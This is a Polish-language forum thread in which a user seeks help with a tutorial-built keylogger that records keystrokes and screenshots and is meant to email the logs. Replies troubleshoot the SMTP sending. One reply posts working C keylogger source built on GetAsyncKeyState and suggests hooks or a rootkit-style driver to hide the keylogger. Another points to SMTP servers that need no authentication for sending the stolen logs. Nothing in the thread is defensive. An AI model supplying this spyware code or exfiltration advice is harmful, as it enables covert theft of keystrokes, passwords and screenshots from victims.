-
Keylogger by zurawek
Witam wszystkich :-)
Znalazłem jakiś czas temu tutorial Zurawka, jak zrobić keyloggera robiącego ssy i wysyłającego je+logi na maila. >>Tutorial<<
Zrobiłem wszystko tak jak w tutorialu było napisane, ale niestety nie wszystko działa. Keylogger odpala się, tworzy się plik z ciągiem wcisnietych klawiszy, screeny robią się, ale nie wysyła się to wszystko na maila. Ktoś może coś poradzić?
Pisałem w Bilderze c++ builder 6 enterprize.
-
- Literówka,
- zablokowany port 25 u klienta.
Działa u ciebie? Debugowałeś? Sprawdziłeś, czy samo wysyłanie maila działa?
-
Literówka
Mogę podesłać kod?
zablokowany port 25 u klienta
na razie klientem jestem ja. jak mogę sprawdzić czy mam ten port zablokowany? (zwykly port forwarding routera czy jak?)
Działa u ciebie?
Właśnie keyloggera zrobiłem dzisiaj i na razie siedzi u mnie na kompie tylko.
Debugowałeś?
Nie wiem co to :(
Sprawdziłeś, czy samo wysyłanie maila działa?
Nie wiem jak. Mógłbyś mi doradzić jak to sprawdzić?
dziękuję za wypowiedź:)
EDIT://
wyskakuje mi taki komunikat na pulpicie:
http://img693.imageshack.us/img693/5656/connn.jpg
-
jakby nie było to nie wiem po co tutoriale ??
keylogger można napisać za pomocą jednej funkcji, tj
GetKeyState oraz GetAsyncKeyState
które są doskonale udokumentowane na MSDN.
Oto moja implementacja szkieletu examplowego keyloggera:
Kod:
// pseudo keylogger code wrote by g3t_d0wn //
/////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
int main(void) {
FILE* txt;
txt = fopen("keys.txt", "w");
if (txt == NULL) return -1;
int count = 0;
while(1) {
for(count = 48; count < 90; count ++) {
if (GetAsyncKeyState(count) & 0x01 == 1) {
fputc((char)count, txt);
}
}
}
fclose(txt);
return 0;
}
same banały :), jest jeszcze wiele możliwości implementacji keyloggera jak zastawienie hooków, napisanie sterownika łapiącego klawisze(bardziej rootkitowo, aby ukryć keylogger :)).
//
nie chcę już tutaj wytykać więcej błędów, bo jest ich u ciebie masa, ale jeśli zamierzasz pisać coś takiego w Borland życzę powodzenia.....
-
nie wiem jak to skomentować
rozpisałeś się - fajnie. ale po co?
mam problem z wysyłaniem logów na mail a Ty chyba nie umiesz czytać, skoro piszesz nie ma temat
-
nie pisałem tego na marne, mialem na mysli zebys zrezygnowal z tego tutoriala :).
-
"Keylogger odpala się, tworzy się plik z ciągiem wcisnietych klawiszy, screeny robią się, ale nie wysyła się to wszystko na maila. Ktoś może coś poradzić?"
-
po co keylogger który będzie wykrywalny przez minimum 80% antywirusów ??
skoro dalej jesteś za keyloggerem, zaimplementuj sobie samemu wysylanie maila, tutaj masz RFC która opisuje SMTP:
RFC 2821 - Simple Mail Transfer Protocol
tutaj wersja PL która nie opisuje wszystkiego, ale wystarczy ci ta wiedza do wysłania logów:
Simple Mail Transfer Protocol
// edit
nie zapomnij się jeszcze zalogować na email z którego wysyłasz gdyż jest tam podany stary przykład dziurawego protokołu SMTP.
-
a moglbys zassac zipa z tutorialu w pierwszym poscie i pokazac co jest zle z wysylaniem logow przez smtp? bo mi sie wydaje, ze nie chce sie logowac na maila po prostu.
byłbym wdzieczny
-
akurat nie bawię się w komponenty Borlanda bo jest mi to zbędne i traktuje to jako śmieci(bez obrazy).
nie musisz się logować jeśli poszukasz serwera który nie potrzebuje autoryzacji SMTP.